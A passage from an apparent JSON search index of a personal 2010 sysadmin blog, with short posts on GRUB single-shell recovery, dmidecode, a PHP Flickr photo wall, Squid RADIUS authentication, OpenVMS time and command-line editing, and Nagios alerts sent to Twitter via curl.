\u0026rsquo;e\u0026rsquo; to edit command before booting.\nSelect \u0026lsquo;kernel\u0026rsquo; line\nPress \u0026rsquo;e\u0026rsquo; again to edit selected command\nType follow at end of the line: init=/bin/bash (or sh)\nPress \u0026lsquo;b\u0026rsquo; to boot system\nNow you are at shell prompt. Enjoy\n","permalink":"https://www.deepreflect.net/2010/03/30/grub-init-shell/","summary":"\u003cp\u003eSometime in case of root password lost or file system corruption, you need to boot system with simple shell, skipping the init sequence.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eAt Grub prompt press \u0026rsquo;e\u0026rsquo; to edit command before booting.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSelect \u0026lsquo;kernel\u0026rsquo; line\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePress \u0026rsquo;e\u0026rsquo; again to edit selected command\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eType follow at end of the line: init=/bin/bash (or sh)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePress \u0026lsquo;b\u0026rsquo; to boot system\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eNow you are at shell prompt. Enjoy\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"GRUB - Init Shell"},{"content":"dmidecode is a tool for dumping a computer’s DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the system’s hardware components, as well as other useful pieces of information such as serial numbers and BIOS revision. If you like to see which memory banks is in use and what the ram module sizes, you simply call dmidecode with memory parameter.\n# dmidecode -t memory\ndmidecode also gives you information about your system\u0026rsquo;s cache, bios and cpu. Here is a sample output for processor: # dmidecode -t processor\ninformation about your system cache # dmidecode -t cache\nbios information includes vendor of your bios and it\u0026rsquo;s version. Also, which devices are supported and which ones can be use for booting up your system. # dmidecode -t bios\n","permalink":"https://www.deepreflect.net/2010/03/29/linux-dmidecode/","summary":"\u003cp\u003edmidecode is a tool for dumping a computer’s DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the system’s hardware components, as well as other useful pieces of information such as serial numbers and BIOS revision.\nIf you like to see which memory banks is in use and what the ram module sizes, you simply call dmidecode with memory parameter.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# dmidecode -t memory\u003c/code\u003e\u003c/p\u003e","title":"Linux - dmidecode"},{"content":"\n","permalink":"https://www.deepreflect.net/2010/03/22/cron-syntax/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2010/03/crontab-syntax.gif\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2010/03/crontab-syntax.gif\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Cron Syntax"},{"content":"I wrote a simple code/class for automatic get photos from flickr photostream (by service API) to compose randomly a nice miniature photowall (you can see an example on my homepage).\nFirst of all you can need API code (only key, we don\u0026rsquo;t need secret authentication).\nNow the code, my class file was called lib/fget.php in here we define variable, class and function construct:\n\u0026lt;?php class Flickr { //API Key you can get them on http://www.flickr.com/services/apps/create/apply/ private $apiKey = \u0026#39;xxxx\u0026#39;; //We define our numeric username http://www.flickr.com/services/api/explore/?method=flickr.people.getInfo private $NSID = \u0026#39;xxxx\u0026#39;; //File per page (max file 200 for free account) private $ppage = \u0026#39;400\u0026#39;; public function __construct() { } public function retrive() { //For get data we use REST method and serialize option $getdata = \u0026#39;https://flickr.com/services/rest/?method=flickr.photos.search\u0026amp;api_key=\u0026#39; . $this-\u0026gt;apiKey . \u0026#39;\u0026amp;user_id=\u0026#39; . $this-\u0026gt;NSID . \u0026#39;\u0026amp;per_page=\u0026#39; . $this-\u0026gt;ppage . \u0026#39;\u0026amp;format=php_serial\u0026#39;; //Get the data $result = file_get_contents($getdata); //De serialize for array use $result = unserialize($result); return $result; } } ?\u0026gt; Now include the class into a sample page:\n\u0026lt;?php //Include the class require_once(\u0026#39;fget.php\u0026#39;); //Recall the class $Flickr = new Flickr; //Retrive data array $data = $Flickr-\u0026gt;retrive(); //Randomize data shuffle($data[\u0026#39;photos\u0026#39;][\u0026#39;photo\u0026#39;]); //Define 0 to the counter (we need this some line down here) $count = 0; ?\u0026gt; \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 4.01//EN\u0026#34; \u0026#34;http://www.w3.org/TR/html4/strict.dtd\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;deepreflect.net\u0026lt;/title\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;\u0026gt; \u0026lt;link href=\u0026#34;index.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt; \u0026lt;a href=\u0026#34;https://www.flickr.com/photos/stars6/\u0026#34; target=_new\u0026gt; \u0026lt;?php foreach($data[\u0026#39;photos\u0026#39;][\u0026#39;photo\u0026#39;] as $photo) { //URL base format for all photo, if you wanna miniature you can modify .jpg into _s.jpg // http://farm{farm-id}.static.flickr.com/{server-id}/{id}_{secret}.jpg //print photo sequence: echo \u0026#39;\u0026lt;img alt=\u0026#34;click to Enjoy...\u0026#34; src=\u0026#34;https://farm\u0026#39; . $photo[\u0026#34;farm\u0026#34;] . \u0026#39;.static.flickr.com/\u0026#39; . $photo[\u0026#34;server\u0026#34;] . \u0026#39;/\u0026#39; . $photo[\u0026#34;id\u0026#34;] . \u0026#39;_\u0026#39; . $photo[\u0026#34;secret\u0026#34;] . \u0026#39;_s.jpg\u0026#34;\u0026gt;\u0026#39;; //Start the counter $count++; //Every 13 create a new line if ($count == 9) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; if ($count == 18) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; if ($count == 27) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; if ($count == 36) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; if ($count == 45) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; if ($count == 54) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; //if ($count == 63) echo \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; //Limit print results to 91 photo if ($count == 81) break; } ?\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","permalink":"https://www.deepreflect.net/2010/03/19/php-flickrapi-photo-wall/","summary":"\u003cp\u003eI wrote a simple code/class for automatic get photos from flickr photostream (by service API)  to compose randomly a nice miniature photowall (you can see an example on my homepage).\u003c/p\u003e\n\u003cp\u003eFirst of all you can need API code (only key, we don\u0026rsquo;t need secret authentication).\u003c/p\u003e\n\u003cp\u003eNow the code, my class file was called lib/fget.php in here we define variable, class and function construct:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003ephp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eclass\u003c/span\u003e Flickr {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eAPI Key you can get them on http:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003ewww\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eflickr\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecom\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eservices\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapps\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecreate\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapply\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tprivate \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eapiKey \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;xxxx\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eWe define our numeric username http:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003ewww\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eflickr\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecom\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eservices\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapi\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eexplore\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003emethod\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eflickr\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epeople\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003egetInfo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tprivate \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eNSID \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;xxxx\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eFile\u003c/span\u003e per page (max file \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e free account)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tprivate \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eppage \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;400\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tpublic function __construct() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tpublic function retrive() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eFor get data we use REST method \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e serialize option\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003egetdata \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://flickr.com/services/rest/?method=flickr.photos.search\u0026amp;api_key=\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ethis\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eapiKey \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;user_id=\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ethis\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eNSID \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;per_page=\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ethis\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eppage \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;format=php_serial\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eGet the data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e file_get_contents(\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003egetdata);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eDe serialize \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e array use\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e unserialize(\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow include the class into a sample page:\u003c/p\u003e","title":"PHP \u0026 FlickrAPI - Photo wall"},{"content":"In this example a squid installation will use RADIUS \u0026ldquo;squid_radius_auth\u0026rdquo; Squid RADIUS authentication helper to authenticate users.\nGet last version of squid radius auth helper at: http://www.squid-cache.org/contrib/squid_radius_auth/\nDownload: [leo@srv01 leo]# wget http://www.squid-cache.org/contrib/squid_radius_auth/squid_radius_auth-1.10.tar.gz\nExtract:\n[leo@srv01 leo]# tar -xvf squid_radius_auth-1.10.tar.gz\nGo to directory:\n[leo@srv01 leo]# cd squid_radius_auth-1.10\nCompile:\n[leo@srv01 squid_radius_auth-1.10]# make gcc -O2 -Wall -g -c -o squid_rad_auth.o squid_rad_auth.c gcc -O2 -Wall -g -c md5.c gcc -O2 -Wall -g -c util.c gcc -g -o squid_radius_auth squid_rad_auth.o md5.o util.o Now the installation, for my needs, I wanna keep binary into /usr/lib/squid/ and configuration file into /etc/squid/ and I don\u0026rsquo;t wanna take man files then edit Make.inc like this:\nBINDIR = /usr/lib/squid CONFDIR = /etc/squid install: squid_radius_auth mkdir -p $(BINDIR) install -m 755 -s squid_radius_auth $(BINDIR)/squid_radius_auth # mkdir -p $(DESTDIR)$(MANDIR) # install -m 755 squid_radius_auth.8 $(DESTDIR)$(MANDIR)/squid_radius_auth$(MANEXT) mkdir -p $(CONFDIR) install -m 644 etc/squid_radius_auth.conf $(CONFDIR)/squid_radius_auth.conf.default if ! test -f $(CONFDIR)/squid_radius_auth.conf; then \\ cp -p $(CONFDIR)/squid_radius_auth.conf.default $(CONFDIR)/squid_radius_auth.conf; \\ fi Edit config file /etc/squid/squid_radius_auth.conf here my example:\nserver 10.255.X.X secret XXXXXXXX port 1645 Now you can test the helper, execute and then type your radius username/password on the same line separated with space, on successful authentication it will give \u0026ldquo;OK\u0026rdquo; otherwise \u0026ldquo;ERR login failure\u0026rdquo;\n[leo@srv01 leo]# /usr/lib/squid/squid_radius_auth -f /etc/squid/squid_radius_auth.conf leo xxxx OK Now you can made change to \u0026ldquo;squid.conf\u0026rdquo;\n# TAG: auth_param auth_param basic program /usr/lib/squid/squid_radius_auth -f /etc/squid/squid_radius_auth.conf auth_param basic children 5 auth_param basic realm Wide-NET-Proxy auth_param basic credentialsttl 5 minute auth_param basic casesensitive on # TAG: acl acl radius-auth proxy_auth REQUIRED # TAG: http_access http_access allow localhost http_access allow radius-auth http_access deny all ","permalink":"https://www.deepreflect.net/2010/03/15/squid-radius-auth/","summary":"\u003cp\u003eIn this example a squid installation will use RADIUS \u0026ldquo;squid_radius_auth\u0026rdquo; Squid RADIUS authentication helper to authenticate users.\u003c/p\u003e\n\u003cp\u003eGet last version of squid radius auth helper at:\n\u003ca href=\"http://www.squid-cache.org/contrib/squid_radius_auth/\"\u003ehttp://www.squid-cache.org/contrib/squid_radius_auth/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDownload:\n\u003ccode\u003e[leo@srv01 leo]# wget http://www.squid-cache.org/contrib/squid_radius_auth/squid_radius_auth-1.10.tar.gz\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eExtract:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e[leo@srv01 leo]# tar -xvf squid_radius_auth-1.10.tar.gz\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eGo to directory:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e[leo@srv01 leo]# cd squid_radius_auth-1.10\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eCompile:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@srv01 squid_radius_auth-1.10]# make\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e gcc -O2 -Wall -g   -c -o squid_rad_auth.o squid_rad_auth.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e gcc -O2 -Wall -g -c md5.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e gcc -O2 -Wall -g -c util.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e gcc -g -o squid_radius_auth squid_rad_auth.o md5.o util.o\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow the installation, for my needs, I wanna keep binary into /usr/lib/squid/ and configuration file into /etc/squid/ and I don\u0026rsquo;t wanna take man files then edit Make.inc like this:\u003c/p\u003e","title":"Squid - Radius auth"},{"content":"$count = 0; foreach ($records as $record) { print $record; $count++; if ($count == 5) break; } ","permalink":"https://www.deepreflect.net/2010/03/14/php-limit-array-results/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$count = 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eforeach ($records as $record) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint $record;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$count++;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif ($count == 5) break;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"PHP - Limit Array Results"},{"content":"The command to reset the system time to 18-APR-2010 09:47 is:\n$ SET TIME=18-APR-2010:09:47\nNote the colon between the date and the time specification. (This extra colon is a requirement resulting from the DCL parsing rules. Normally, there is a space between the date and time.)\nOn OpenVMS VAX, once a year between January 1st and circa April 11th, or whenever a different SYS.EXE system image is bootstrapped, issue the command:\n$ SET TIME\nto resynchronize the VAX time-of-year (TOY) clock and the contents of the OpenVMS VAX system image. (This SET TIME command is automatically performed during a normal system shutdown.) The TOY clock stores (only) the time since January 1 00:00:00.00 of the current year, and has a maximum resolution of roughly 466 days. The system image is used as the storage location for the current year. Between these two values, the current time and date is \u0026ldquo;constructed\u0026rdquo; during the OpenVMS VAX system bootstrap. (And this is the reason the saved time value in the system image must be reset every year between January and April.)\nThe SYSGEN parameter SETTIME can be used to enable prompting for the system time during the system bootstrap.\n","permalink":"https://www.deepreflect.net/2010/03/14/openvms-set-time/","summary":"\u003cp\u003eThe command to reset the system time to 18-APR-2010 09:47 is:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e$ SET TIME=18-APR-2010:09:47\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNote the colon between the date and the time specification. (This\nextra colon is a requirement resulting from the DCL parsing rules.\nNormally, there is a space between the date and time.)\u003c/p\u003e\n\u003cp\u003eOn OpenVMS VAX, once a year between January 1st and circa April 11th,\nor whenever a different SYS.EXE system image is bootstrapped, issue the\ncommand:\u003c/p\u003e","title":"OpenVMS - Set Time"},{"content":"This entry will cover how to send nagios alerts to twitter, in the examples to follow using curl.\nFirstly edit commands.cfg\nAnd add the two following line:\ndefine command { command_name notify-by-twitter command_line /usr/bin/curl --basic --user \u0026#34;twitteruser:twitterpassword\u0026#34; --data-ascii \u0026#34;status=[Nagios] $NOTIFICATIONTYPE$ $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$\u0026#34; http://twitter.com/statuses/update.json } define command { command_name host-notify-by-twitter command_line /usr/bin/curl --basic --user \u0026#34;twitteruser:twitterpassword\u0026#34; --data-ascii \u0026#34;status=[Nagios] $HOSTSTATE$ alert for $HOSTNAME$\u0026#34; http://twitter.com/statuses/update.json } Now define a contact for this twitter service into: contacts.cfg\ndefine contact{ contact_name twitter service_notification_commands notify-by-twitter host_notification_commands host-notify-by-twitter service_notification_period 24x7 host_notification_period 24x7 service_notification_options a host_notification_options a } Add this contact into your existing contact groups like this (in contacts.cfg):\ndefine contactgroup{ contactgroup_name admins alias Nagios Administrators members nagiosadmin,sms_alert,twitter } Then run a nagios prefly check to ensure you have no syntax errors, and restart nagios.\n","permalink":"https://www.deepreflect.net/2010/02/27/nagios-twitter-alerts/","summary":"\u003cp\u003eThis entry will cover how to send nagios alerts to twitter, in the examples to follow using curl.\u003c/p\u003e\n\u003cp\u003eFirstly edit \u003ccode\u003ecommands.cfg\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAnd add the two following line:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edefine command {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecommand_name    notify-by-twitter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecommand_line    /usr/bin/curl --basic --user \u0026#34;twitteruser:twitterpassword\u0026#34; --data-ascii \u0026#34;status=[Nagios] $NOTIFICATIONTYPE$ $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$\u0026#34; http://twitter.com/statuses/update.json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edefine command {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecommand_name    host-notify-by-twitter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecommand_line    /usr/bin/curl --basic --user \u0026#34;twitteruser:twitterpassword\u0026#34; --data-ascii \u0026#34;status=[Nagios] $HOSTSTATE$ alert for $HOSTNAME$\u0026#34; http://twitter.com/statuses/update.json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow define a contact for this twitter service into: \u003ccode\u003econtacts.cfg\u003c/code\u003e\u003c/p\u003e","title":"Nagios - Twitter alerts"},{"content":"DCL implements command line editing and recall, so that users can more easily correct typing errors and reuse previous command lines.\nRecall buffer: access to recently issued commands\n$ RECALL string Bring up last command beginning with string. $ RECALL/ALL Displays all commands and their numbers. $ RECALL number Use a number found in RECALL/ALL. Command line editing (if it isn\u0026rsquo;t on, do: $ SET TERM/LINE):\n$ {up-arrow} Previous command in recall buffer. $ {down-arrow} Next command in recall buffer. $ {Ctrl A} Toggle insert/overstrike editing. $ {Ctrl D} Move one character left. $ {Ctrl E} Move to the end of the line. $ {Ctrl F} Move one character right. $ {Ctrl H} Move to the beginning of the line. $ {Ctrl J} Delete word left of cursor. $ {Ctrl R} Rewrite the command line. $ {Ctrl U} Delete line left of cursor. $ {Ctrl X} Cancel the current command line. Miscellaneous:\n$ {Ctrl 3} ASCII code for {Esc}. $ {Ctrl I} ASCII code for {Tab}. $ {Ctrl Z} Tell DCL \u0026#34;end of file\u0026#34;. Used in some programs to indicate more general sorts of \u0026#34;end\u0026#34; commands. Of these, only {Ctrl I} will insert a character into the command line, rather than just move the cursor around. No new characters may be inserted before a tab ({Ctrl I}) in a command line, but existing characters may be changed in overstrike mode, or deleted. This behavior is documented in the \u0026ldquo;I/O User\u0026rsquo;s Guide\u0026rdquo; and has existed since VMS 4.0.\n","permalink":"https://www.deepreflect.net/2010/02/24/openvms-command-line-editing/","summary":"\u003cp\u003eDCL implements command line editing and recall, so that users can more easily correct typing errors and reuse previous command lines.\u003c/p\u003e\n\u003cp\u003eRecall buffer: access to recently issued commands\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ RECALL string   Bring up last command beginning with string.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ RECALL/ALL      Displays all commands and their numbers.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ RECALL number   Use a number found  in RECALL/ALL.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCommand line editing (if it isn\u0026rsquo;t on, do: $ SET TERM/LINE):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {up-arrow}      Previous command in recall buffer.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {down-arrow}    Next command in recall buffer.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl A}        Toggle insert/overstrike editing.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl D}        Move one character left.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl E}        Move to the end of the 